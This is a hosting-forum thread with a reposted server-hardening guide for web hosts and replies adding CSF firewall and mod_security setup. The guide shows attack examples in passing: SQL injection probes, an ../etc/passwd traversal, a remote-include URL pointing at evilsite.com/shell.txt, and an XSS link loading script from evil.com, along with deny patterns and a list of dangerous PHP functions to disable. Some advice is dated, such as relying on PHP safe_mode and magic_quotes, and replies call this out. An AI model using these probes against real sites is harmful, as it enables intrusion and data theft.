Activity Stream
48,167 MEMBERS
61998 ONLINE
besthostingforums On YouTube Subscribe to our Newsletter besthostingforums On Twitter besthostingforums On Facebook besthostingforums On facebook groups

Results 1 to 9 of 9
  1.     
    #1
    Member
    Website's:
    My365Host.com

    Default Securing Your Hosting Company

    -= Securing Your Hosting Company =-
    -- Credits: DeadlyData --

    Part I. Your own websites security.

    The first step you always want to take to secure your hosting company is to make sure your own website.

    Is completely secure some things to do if you are using a common CMS Google it with the word exploit make sure your version is not on there.

    Next try any Get Vars in your scripts and put a ' at the end of them what I mean is you have = you add ' so it's yourwebsite.com/page?=' or any other similar thing not only page= you may also try char(39) rather then only ' most PHP scripts will automatically add add slashes as a function in the MySQL read so when it goes to read it comments out the ' but most PHP that only uses addslashes protection will still be vuln to SQL injection simply using char(39) which the php script will read as a single quote.
    If you get an error you might want to check the script.

    The errors you may receive are mysql_* this is a sql injection get right on to fixing this because some one would have the ability of dumping your whole database, clients, admins, etc.

    If the errors are main()or include_failed you may have just found an LFI (Local File Inclusion) OR RFI (Remote File Inclusion)...
    If it is in a path like failed to include /test/file.ext ever then this is an LFI but is very useful to a hacker they have the ability to use
    The following to browse into other places ../../../../ if they wanted to they'd view your passwd file via ../../../../../../etc/passwd

    Well right now you'd say big Woop they got some users maybe not but still have the ability to go to any forum on
    that server and upload an avatar with PHP-EXIF data in it then include it
    Using this LFI once they have done this it will execute the code written in this LFI meaning they have access to Run PHP-Code on your server now not good at all...

    Recommendations fix the script have mod security block all ../../../../../ to a certain point attempts.

    Ok next were going to discuss the abilities of an RFI and how to block it...
    So the things you can do with an RFI well lets see remotely include an PHP file that will execute its php file like so
    www.yoursite.com/file.php?file=evilsite.com/shell.txt? this php file on your server would then remotely include the other file and execute the PHP code also allowing the user access to your server.

    Prevention add http:// to your mod security this way when they try remotely including a file in the URL
    http://www.evilsite.com mod_security will block it.

    Ok our next subject is XSS this is a tricky one on account of there are many ways around mod security blocking this...

    What can XSS do XSS means cross site scripting a hacker can execute JavaScript code on your website using this some XSS is bad which would be called permanent XSS it allows users to embed their JavaScript inside something where you wouldn't really see it... but when you clicked they could potentially grab your cookie or any current stored browser information.
    With this they could use your cookie as their own to login as you... maybe even get password information from this
    cookie...

    Now the other type of XSS is something you have to train your clients to look out for if some one ever asks for help and sends you a link that is accessing a remote website in the URL such as...
    www.mysite.com/info.php?xss=<script>src=http://evil.com/xss.js</script>
    Never click it what so ever... ban the person who has sent this.

    Ok now for the mod_security bans... add <script> add <body= add </script> add ">
    And this should fix your XSS problems that can actually cause damage...

    As for SQL injection the way to block this is to... add ' or /* to the mod security be sure to add in char(39) as it's ' in php and php will in fact read it from a URL and interpret it as ' and still launch the sql injection.

    One other thing you can do that is not exactly completely necessary but will help if any one does manage to get access to your website.Is you can encrypt all your db.php/conf.php/ files so that hackers cant read the information to gain access to your mysql database or gain any other passwords/usernames you might commonly use more then once.

    Zend should fix this problem.

    Never leave any open upload scripts what so ever any open upload scripts left on your website will allow the hacker/attacker the ability to upload a file sure you can restrict them to only uploading JPG files or GIF,RAR etc.
    But the only problem with that is unless you customize your upload script to check for EXIF data and clear it out of an image when uploading it then the hacker still has something to use against you.


    Part II. Your Employees


    RULE-1 -PASSWORDS

    Do not use password even more then once on your servers if you do the first time some one gets your password to any
    Thing they have the ability to get into every thing on your server from there they get other peoples passwords and get more and more access over time they can take the whole hosting company...

    RULE-2 -PHONE CHATS
    Always request a person's information verify every bit of it is correct also try to remember their voice because hackers will call you and try to get into people servers they can have correct information just by whoising the persons domain that their trying to get.

    RULE-3 -Email CHATS
    This one is a bit easier there is no emotion to what the person is trying to do...
    If they slip up on one peace of information be sure to email them back and ask them to correct it before even
    Sending any thing back or touching any thing.

    RULE-4 -Talking to each other
    While talking to each other in public services.. or services that my be able to be taped such as an IRC...
    Be sure not to mention any root passwords, client names, etc...

    Part III. Securing Your Server

    Ok well first were going to do the obvious and CHMOD /home to 755

    This is simple just go ahead and type chmod 755 /home
    Or
    CD /
    chmod 755 home


    Next were going to make sure no user has any bash access what so ever.

    This may already be setup by the current hosting control panel you are using...
    If not were going to nano /etc/passwd and make sure all Linux users that you don't want having bash are set to
    /sbin/nologin

    I realize some hosting companies also do dedicated server companies so it wouldn't work out if your client didn't have
    bash to the server.
    So this is mainly based for the shared hosting servers.


    Part IV. PHP Configuration.


    Now were going to do some things to PHP.ini
    usr/local/lib/php.ini
    ^ On Most Systems
    safe_mode = On
    safe_mode_gid = Off
    open_basedir = directory [:...]
    safe_mode_exec_dir = directory [:...]
    expose_php = Off
    register_globals = Off
    display_errors =Off
    log_errors = On
    error_log = filename
    magic_quotes=On
    disable_functions = show_source, system, shell_exec, passthru, exec,
    phpinfo, popen, proc_open, base64_decode, base64_encodem, proc_terminat
    e


    Some explanations of the functions your disabling.


    show_source(), Disables functions most shells use to view the source of other files one commonly
    c99, ModfiedC99 (c100), ModfiedC99(x2300)
    phpinfo(), Sometimes will bring up XSS, also numeral overflows have been found while using PHPINFO() that and you don't
    want people getting your version of PHP and etc. to attempt to exploit it if you may just be out of date or to up to
    date.
    system, Allows Bash Commands Via PHP

    shell_exec, Allows Bash Commands via PHP

    exec, Allows Bash Commands Via PHP

    popen, Almost like Bash not quite but close using PHP

    proc_open, Almost like bash not quite but close using PHP

    base64_decode, decodes base64 encryptions... reason for disabling also allows users with server access to bypass mod security

    base64_encode, encodes base64 encryptions... reason for disabling also allows users with server access to bypass mod security

    proc_terminate, Terminates Processes running on the server.

    Some reasons for having magic quotes on, it disables most nullbyte attempts (%00)
    And will stop a small majority of SQL injections.


    Part V. MySQL and Apache Configurations


    Disable all out bound MYSQL connections...

    Besides from Trusted Servers

    This may actually be set in the host's field of the users in the actual MYSQL table, for each user account it lets you
    Give them an IP or type any I'd recommend giving them an IP...
    Although when you give them and IP don't worry it's not that you can only have one IP able to access that user you
    do in fact have the ability to recreate the user
    over and over and fill in the IP field differently each time.

    Next you need to configure your apache to where it runs 1 process for each linux user and all scripts ran by that user run under their unix/linux permissions,GID & UID

    A reference Document on how to do this can be found here.

    http://httpd.apache.org/docs/1.3/suexec.html

    Comments:
    What this will do with apache is pretty much make sure that the users can't access other users directories on the
    Server this is a common vulnerability you get access to one site on the server and you get access to all websites on the same
    server... this protects against it. All though apache is running under each user using SuEXEC would solve that problem.


    Part VI. SSH Keys.

    It's not required but it is a recommendation to setup SSH keys this way people do not have the ability to brute force your SSH server.

    A tutorial on how to do this can be found here:

    http://www.sun.com/bigadmin/content/...h_setting.html

    If you do not wish to setup SSH Keys you may also use Linux host.allow, host.deny files to sort which ranges have the ability to access your server and which do not have the ability to access your server.


    There are some references for this located here

    http://linux.about.com/od/commands/l...l5_hostsal.htm


    And here

    http://www.userlocal.com/security/securinginetdetc.php


    Part VII. BackDoor-Trojan-Rootkit Proctection & FireWall Setup


    Down To The Back Door Protection

    In the even some one gets access to your server even with all the security you've gotten so far they might just be able to figure out one way or another to slip a backdoor in or in the case of ubiquity a botnet client,


    So what exactly are some things you can do to prevent this if not stop it.

    Well I honestly don't think you can stop things like root kits, Trojans, viruses, botnet clients etc. from being on your System.


    But you can stop or remove them once their on your system, or prevent them from being ran.

    What all can a person do just by having the ability to upload a file.
    Not much but once they find ways to execute what they have uploaded then you can pretty much consider them having root to your server.

    At this point they can run multiple exploits that may be able to BoF(Buffer Over Flow) An process running under root on your system and from there they could get lucky and have the ability to execute code as that process.

    Another thing they can do without having root is install an botnet client once this is done they have the ability to use your servers as their own resource to take other things down.


    Trojans & Viruses on Linux aren't too much of a worry as there aren't too many out there but the ones that are made might just have enough access to delete most of the HDD on the Linux system.

    Now a couple things I've researched on that can help prevent this.


    ---
    Root Kit Hunter.
    ---
    Description:

    Root kit scanner is scanning tool to ensure you for about 99.9%* you're clean of nasty tools. This tool scans for
    Root kits, backdoors and local exploits by running tests like:

    - MD5 hash compare
    - Look for default files used by root kits

    - Wrong file permissions for binaries
    - Look for suspected strings in LKM and KLD modules
    - Look for hidden files
    - Optional scan within plaintext and binary files

    -------
    Comments:
    I highly recommend Root Kit Hunter.
    ---
    Download
    ---
    http://www.rootkit.nl/projects/rootkit_hunter.html
    ---
    Clam Antivirus
    ---
    Description:

    * Command-line scanner
    * Fast, multi-threaded daemon with support for on-access scanning
    * milter interface for sendmail
    * advanced database updater with support for scripted updates and digital signatures
    * virus scanner C library
    * on-access scanning (Linux and FreeBSD)
    * virus database updated multiple times per day (see home page for total number of signatures)
    * built-in support for various archive formats, including Zip, RAR, Tar, Gzip, Bzip2, OLE2, Cabinet, CHM,
    BinHex, SIS and others
    * built-in support for almost all mail file formats
    * built-in support for ELF executables and Portable Executable files compressed with UPX, FSG, Petite, NsPack,
    wwpack32, MEW, Upack and obfuscated with SUE, Y0da Cryptor and others
    * built-in support for popular document formats including MS Office and Mac Office files, HTML, RTF and PDF
    -------
    Comments:
    Honestly I'd recommend this even when using Mod-Security I've built shells that will in fact bypass modsecurity well
    this well scan the source codes of the PHP shell
    and make sure there?؟?s nothing that could potentially harm or allow the user to have to much access over the system.

    ---
    Download
    ---
    http://www.clamav.net/download/
    --


    Banning The Brute Forcers, FTP, SSH, etc.
    ---
    APF (Advanced Policy Firewall)
    ---

    Description:


    Rather then grabbing this one off their site I figured I'd write one.

    Well in my experience this is nothing like a normal firewall you would use on an windows system it checks for things like people trying to brute force Cpanel, SSH, FTP, etc. accounts.

    Allows alot of configuration options some of which may also benfit in bandwidth saving and DDoS prevention,
    Over all it blocks those ports your not using so even if some one manages to get an undetectable backdoor/botnet on your systems.
    Then this will block it from connecting back to them and them connecting back to it.
    ---
    Comments:
    I will tell you no though this will be a pain to setup while hosting so many teamspeaks on account of all the ports you would have to constantly forward.
    To make sure every one has the ability to get into their teamspeaks,

    Some commands that can be used with this Firewall just incase you decide to use it.


    Banning an IP
    apf -d IP

    Unbanning an IP
    apf -u IP

    I recommend ignoring your own IP in the


    /etc/apf/allow_hosts.rules

    Using the following syntax you can ignore your IP from all firewall rules meaning you don't follow them.


    d=PORT=IP // ENABLES YOUR IP COMMING IN ON THE PORT
    out=PORT=IP // ENABLES YOUR IP GOING OUT ON THE PORT

    For ranges you may do the following 192.168.1.1/255

    It will then forward from 192.168.1.1 to 192.168.1.255 to be enabled

    ---
    Download
    ---
    http://www.r-fx.ca/downloads/apf-current.tar.gz


    Part VIII. DDoS Protection and Saving Bandwith + Remote Loging.

    ---

    Server Monitoring Remotely
    ---
    Log Watch
    ---
    Description:

    An application that runs twenty-four seven on your server and sends the following things after going through them to your email.
    -Apache_Access Logs

    -Apache_Error Logs
    -SSH_LOGIN's Failed Or Succeeded
    -FTP Logs
    -Mail Logs
    -Current HDD Sizes
    -Kernel Logs
    -Mail Logs
    -Yum/APT-GET Logs

    Comments:
    This thing is very useful attempts to gain access to your server will be automatically emailed to you along with every thing that is not found gave some one and forbidden error and etc.
    The only main requirement is that you have SendMail Running.



    Mail Spam Protection
    ---

    Spam Assassin
    ---

    Description:

    The core distribution consists of command line tools to perform filtering along with Mail:pamAssassin, a set of Perl modules which allow SpamAssassin to be used in a wide range of products.

    Comments:
    Never used it my self because I've never really had to bad of mail spam problems on my server but from what I've
    read it is in fact pretty good at filtering out the spam in your emails.

    ---
    Download
    ---
    http://spamassassin.apache.org/downl...e=200705021400

    ---
    Some Extra Mail Protection

    ---
    Be sure that your mail-server only allows your Server to use it or any other servers you may trust and deny all
    others
    many people will attempt to use open mail servers and spam resources.


    ---
    DDoS Protection & Bandwidth Saving.

    ---
    Ok first off some things people might do while DDoSing you.

    Unless theDDoS attack is very strong I highly doubt it will take your whole server offline most DDoS attacks will mainly hit their targets port
    in most cases their target would be Apache, but in other cases maybe even a teamspeak it's a little more difficult to stop without having to get all of your clients IP addresses and adding them to the ignore lists in APF

    But a basic thing you can do is have APF installed drop all ICMP packets. This will disable the ability to ping your server.
    Next Install DDoS Deflate


    ---
    DDoS Deflate
    ---
    Comments/Description:
    From my own experience an well written Perl Script that was made to run along with APF and monitor how many times an
    IP is connected to your server before it bans it you may also run it manually typing the following in shell.

    ddos Number Of Connections Allowed

    When this is typed the Perl script will then run an netstat command check how many times each IP is connected and if there are more then the number of connections you specified then it will automatically run a command in APF for the IP to be banned.


    ---
    More Information can be found on this at

    http://blog.medialayer.com/projects-ddos-deflate/

    ----
    Download
    ----
    http://www.inetbase.com/scripts/ddos/


    Ok now for bandwidth saving and DDoS protection at the same time there is this really cool thing made for apache servers it's called mod_evasive
    It will limit the number of connections a person may open with apache and if they open to many it will ban them for what ever time you specify in the config.



    ---
    mod_evasive

    ---

    Detailed Description:
    mod_evasive is an evasive maneuvers module for Apache to provide evasive action in the event of an HTTP DoS or DDoS attack or brute force attack. It is also designed to be a detection and network management tool, and can be easily configured to talk to ipchains, firewalls, routers, and etcetera. mod_evasive presently reports abuses via email and syslog facilities.


    Detection is performed by creating an internal dynamic hash table of IP Addresses and URIs, and denying any single IP address from any of the following:
    * Requesting the same page more than a few times per second
    * Making more than 50 concurrent requests on the same child per second
    * Making any requests while temporarily blacklisted (on a blocking list)

    This method has worked well in both single-server script attacks as well as distributed attacks, but just
    like other evasive tools, is only as useful to the point of bandwidth and processor consumption (e.g. the amount of bandwidth and processor required to receive/process/respond to invalid requests), which is why it's a good idea to integrate this with your firewalls and routers for maximum protection.


    This module instantiates for each listener individually and therefore has a built-in cleanup mechanism and scaling capabilities. Because of this per-child design, legitimate requests are never compromised (even from proxies and NAT addresses) but only scripted attacks. Even a user repeatedly clicking on 'reload' should not be affected
    Unless they do it maliciously. mod_evasive is fully tweak able through the Apache configuration file, easy to
    Incorporate into your web server, and easy to use.


    --- Comments:
    This is a module I have in fact used with Apache before it honestly can get annoying if you configure it incorrectly

    because you will be simply visiting the website and get banned.


    ---
    Download/Install Tutorial

    ---
    http://www.eth0.us/mod_evasive


    --= That Will Cover Alot Of Security Issues =-

    Hope you learned something, and benefited your server..

    Have a good day!
    plyrjohn404 Reviewed by plyrjohn404 on . Securing Your Hosting Company -= Securing Your Hosting Company =- -- Credits: DeadlyData -- Part I. Your own websites security. The first step you always want to take to secure your hosting company is to make sure your own website. Is completely secure some things to do if you are using a common CMS Google it with the word exploit make sure your version is not on there. Rating: 5

    Fast Proxy!


    warez-bb.im & imasty.org for sale
    Trusted: carnage, iMage

  2.   Sponsored Links

  3.     
    #2
    Member
    a good webhost should already have done this or methods similar..
    just my 2 cents

  4.     
    #3
    Member
    Nice, seen before but you have forgotten CSF firewall and a few other things..

    CSF ( (configServer Firewall) info:
    This suite of scripts provides:

    • Straight-forward SPI iptables firewall script
    • Daemon process that checks for login authentication failures for:
      • Courier imap, Dovecot, uw-imap, Kerio
      • openSSH
      • cPanel, WHM, Webmail (cPanel servers only)
      • Pure-pftd, vsftpd, Proftpd
      • Password protected web pages (htpasswd)
      • Mod_security failures (v1 and v2)
      • Suhosin failures
      • Exim SMTP AUTH
      • Custom login failures with separate log file and regular expression matching

    • POP3/IMAP login tracking to enforce logins per hour
    • SSH login notification
    • SU login notification
    • Excessive connection blocking
    • UI Integration for cPanel, DirectAdmin and Webmin
    • Easy upgrade between versions from within cPanel/WHM, DirectAdmin or Webmin
    • Easy upgrade between versions from shell
    • Pre-configured to work on a cPanel server with all the standard cPanel ports open
    • Pre-configured to work on a DirectAdmin server with all the standard DirectAdmin ports open
    • Auto-configures the SSH port if it's non-standard on installation
    • Block traffic on unused server IP addresses - helps reduce the risk to your server
    • Alert when end-user scripts sending excessive emails per hour - for identifying spamming scripts
    • Suspicious process reporting - reports potential exploits running on the server
    • Excessive user processes reporting
    • Excessive user process usage reporting and optional termination
    • Suspicious file reporting - reports potential exploit files in /tmp and similar directories
    • Directory and file watching - reports if a watched directory or a file changes
    • Block traffic on the DShield Block List and the Spamhaus DROP List
    • BOGON packet protection
    • Pre-configured settings for Low, Medium or High firewall security (cPanel servers only)
    • Works with multiple ethernet devices
    • Server Security Check - Performs a basic security and settings check on the server (via cPanel/DirectAdmin/Webmin UI)
    • Allow Dynamic DNS IP addresses - always allow your IP address even if it changes whenever you connect to the internet
    • Alert sent if server load average remains high for a specified length of time
    • mod_security log reporting (if installed)
    • Email relay tracking - tracks all email sent through the server and issues alerts for excessive usage (cPanel servers only)
    • IDS (Intrusion Detection System) - the last line of detection alerts you to changes to system and application binaries
    • SYN Flood protection
    • Ping of death protection
    • Port Scan tracking and blocking
    • Permanent and Temporary (with TTL) IP blocking
    • Exploit checks
    • Account modification tracking - sends alerts if an account entry is modified, e.g. if the password is changed or the login shell
    • Shared syslog aware
    • New in v4: Messenger Service - Allows you to redirect connection requests from blocked IP addresses to preconfigured text and html pages to inform the visitor that they have been blocked in the firewall. This can be particularly useful for those with a large user base and help process support requests more efficiently
    • New in v4: Country Code blocking - Allows you to deny or allow access by ISO Country Code
    • New in v4: Port Flooding Detection - Per IP, per Port connection flooding detection and mitigation to help block DOS attacks
    • New in v4: DirectAdmin UI integration
    • New in v4: Updated Webmin UI integration
    • New in v4: WHM root access notification (cPanel servers only)
    • ...lots more!

    The reason we have developed this suite is that we have found over the years of providing server services that many of the tools available for the task are either over-complex, not user friendly, or simply aren't as effective as they could be.
    Howto install:
    Installation
    ============
    Installation is quite straightforward:

    rm -fv csf.tgz
    wget http://www.configserver.com/free/csf.tgz
    tar -xzf csf.tgz
    cd csf
    sh install.sh

    Next, test whether you have the required iptables modules:

    perl /etc/csf/csftest.pl

    Don't worry if you cannot run all the features, so long as the script doesn't
    report any FATAL errors

    You should not run any other iptables firewall configuration script. For
    example, if you previously used APF+BFD you can remove the combination (which
    you will need to do if you have them installed otherwise they will conflict
    horribly):

    sh /etc/csf/remove_apf_bfd.sh

    That's it. You can then configure csf and lfd by edit the files
    directly in /etc/csf/*, or on cPanel servers use the WHM UI

    csf installation for cPanel is preconfigured to work on a cPanel server with all
    the standard cPanel ports open.

    csf installation for DirectAdmin is preconfigured to work on a DirectAdmin
    server with all the standard DirectAdmin ports open.

    csf auto-configures your SSH port on installation where it's running on a non-
    standard port.

    csf auto-whitelists your connected IP address where possible on installation.

    You should ensure that kernel logging daemon (klogd) is enabled. Typically, VPS
    servers have this disabled and you should check /etc/init.d/syslog and make
    sure that any klogd lines are not commented out. If you change the file,
    remember to restart syslog.

    See the readme.txt file for more information.

    Webmin Module Installation/Upgrade
    ==================================

    To install or upgrade the csf webmin module:

    Install csf as above
    Install the csf webmin module in:
    Webmin > Webmin Configuration > Webmin Modules >
    From local file > /etc/csf/csfwebmin.tgz > Install Module


    Uninstallation
    ==============
    Removing csf and lfd is even more simple:

    On cPanel servers:

    cd /etc/csf
    sh uninstall.sh

    On DirectAdmin servers:

    cd /etc/csf
    sh uninstall.directadmin.sh

    On generic linux servers:

    cd /etc/csf
    sh uninstall.generic.sh
    Mod Security.
    Info:
    ModSecurity is an open source intrusion detection and prevention engine for web applications. It operates embedded into the web server, acting as a powerful umbrella - shielding applications from attacks. ModSecurity supports both branches of the Apache web server.
    Install ( This is a older version):

    1.
    Login to your server through SSH and su to the root user.

    2. First your going to start out by grabbing the latest version of mod_security
    wget http://www.modsecurity.org/download/...y-1.7.4.tar.gz

    3. Next we untar the archive and cd into the directory:
    tar zxvf mod_security-1.7.4.tar.gz
    cd mod_security-1.7.4/

    4. Now you need to determine which version of apache you use:
    APACHE 1.3.x users
    cd apache1/
    APACHE 2.x users
    cd apache2/

    5.Lets Compile the module now:
    /usr/local/apache/bin/apxs -cia mod_security.c

    6. Ok, now its time to edit the httpd conf file. First we will make a backup just incase something goes wrong:
    cp /usr/local/apache/conf/httpd.conf /usr/local/apache/conf/httpd.conf.backup

    7. Now that we have backed it all up, we can edit the httpd.conf. Replace pico with nano depending on what you have
    pico /usr/local/apache/conf/httpd.conf

    8. Lets look for something in the config, do this by holding control and pressing W and you are going to search for
    <IfModule mod_dir.c> (altho any of the IfModules would work fine)
    9. Now add this

    <IfModule mod_security.c>
    # Turn the filtering engine On or Off
    SecFilterEngine On

    # Change Server: string
    SecServerSignature " "

    # Make sure that URL encoding is valid
    SecFilterCheckURLEncoding On

    # This setting should be set to On only if the Web site is
    # using the Unicode encoding. Otherwise it may interfere with
    # the normal Web site operation.
    SecFilterCheckUnicodeEncoding Off

    # Only allow bytes from this range
    SecFilterForceByteRange 1 255

    # The audit engine works independently and
    # can be turned On of Off on the per-server or
    # on the per-directory basis. "On" will log everything,
    # "DynamicOrRelevant" will log dynamic requests or violations,
    # and "RelevantOnly" will only log policy violations
    SecAuditEngine RelevantOnly

    # The name of the audit log file
    SecAuditLog /var/log/httpd/audit_log

    # Should mod_security inspect POST payloads
    SecFilterScanPOST On

    # Action to take by default
    SecFilterDefaultAction "deny,log,status:500"

    # Require HTTP_USER_AGENT and HTTP_HOST in all requests
    SecFilterSelective "HTTP_USER_AGENT|HTTP_HOST" "^$"

    # Prevent path traversal (..) attacks
    SecFilter "../"

    # Weaker XSS protection but allows common HTML tags
    SecFilter "<[[pace:]]*script"

    # Prevent XSS atacks (HTML/Javascript injection)
    SecFilter "<(.|n)+>"

    # Very crude filters to prevent SQL injection attacks
    SecFilter "delete[[pace:]]+from"
    SecFilter "insert[[pace:]]+into"
    SecFilter "select.+from"

    # Protecting from XSS attacks through the PHP session cookie
    SecFilterSelective ARG_PHPSESSID "!^[0-9a-z]*$"
    SecFilterSelective COOKIE_PHPSESSID "!^[0-9a-z]*$"
    </IfModule>

    10. Save the file Ctrl + X then Y

    11. Restart Apache
    Please note you can install Mod_security,mod_evasive etc from a apache rebuild via cPanel/Whm if you want it easier.

    Also i would suggest you install Suphp for better security and run it with apache.

    Also disabled Frontpage, serious risk right there.

    It's amazing, being in a community can cause hate. Competitors or not - DDOS isn't cool :)

  5.     
    #4
    Member
    Quote Originally Posted by Chri5 View Post
    a good webhost should already have done this or methods similar..
    just my 2 cents
    not true, your 2 cents don't count.

    Not all webhosts have to do that, if they have other methods of securing their servers!

    Good job plyrjohn

  6.     
    #5
    Member
    Chris5 is correct Sandin0, these are basic steps that SHOULD be taken.

    But like you said everyone has there own methods but these are just common sense aint they?

    Also edited my posts <.<
    It's amazing, being in a community can cause hate. Competitors or not - DDOS isn't cool :)

  7.     
    #6
    Member
    correct me if im wrong but isn't there a typo?
    "base64_decode, base64_encodem"

    isn't it base64_encode?

  8.     
    #7
    Member
    Quote Originally Posted by Sandin0 View Post
    not true, your 2 cents don't count.

    Not all webhosts have to do that, if they have other methods of securing their servers!

    Good job plyrjohn
    a good webhost should already have done this or methods similar..
    just my 2 cents
    Reread yo!

  9.     
    #8
    Member
    I'm just going to add my two cents in here. You should not, ever, at all, depend on PHP's safe mode. It is deprecated, and will be removed in PHP 6. If you cannot secure a server without using safe mode then you shouldn't be running a webhosting company.

    Also, open_basedir can provide a lot of protection, if you know how to use it. Different setups require different values; ideally you should chroot a user in their home directory and then just add stuff from there (e.g. /tmp, /var/tmp, /proc/uptime, /usr/bin/convert, et cetera).

    Third, I have to agree with Storming, CSF should be used.

    Lastly, depending what you have compiled into php, there may be more functions that need to be disabled for it to be secure.

    Also, you should disable networking completely in mysql unless you explicitly need to access it via a port. Add 'skip-networking' to your mysql configuration file.
    ...

  10.     
    #9
    Member
    CSF handles things properly and basically, APF is a dead project. PHP safe mode is just an attempt to solve the security problems at the PHP level. You shouldn't be using this unless you really have no idea about security but it can be bypassed easily if you get hit by the real 'hacker'.

    DeadlyData has wrote the above paper 3 years ago and I can clearly tell you these steps won't protect your server for sure. Nothing is secure though, only a matter of time, knowledge and effort of the attacker.
    KnownSRV.com - Quality comes at a price, and we provide it at affordable prices.
    PayPal, Skrill(MoneyBookers), Payza(AlertPay), 2CheckOut and LibertyReserve accepted!

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. anyone use this hosting company before?
    By booston in forum Hosting Discussion
    Replies: 4
    Last Post: 24th Oct 2012, 08:20 PM
  2. Hosting Company Name!
    By DIBBLE in forum Hosting Discussion
    Replies: 8
    Last Post: 23rd Apr 2011, 11:22 AM
  3. [Buying] Big Hosting Company
    By AllHosting in forum Completed Transactions
    Replies: 8
    Last Post: 16th Mar 2011, 09:25 AM
  4. Replies: 4
    Last Post: 13th Aug 2010, 03:21 PM
  5. Help with ssh and new hosting company?
    By Dj Mad in forum Technical Help Desk Support
    Replies: 9
    Last Post: 7th Aug 2010, 09:16 PM

Tags for this Thread

BE SOCIAL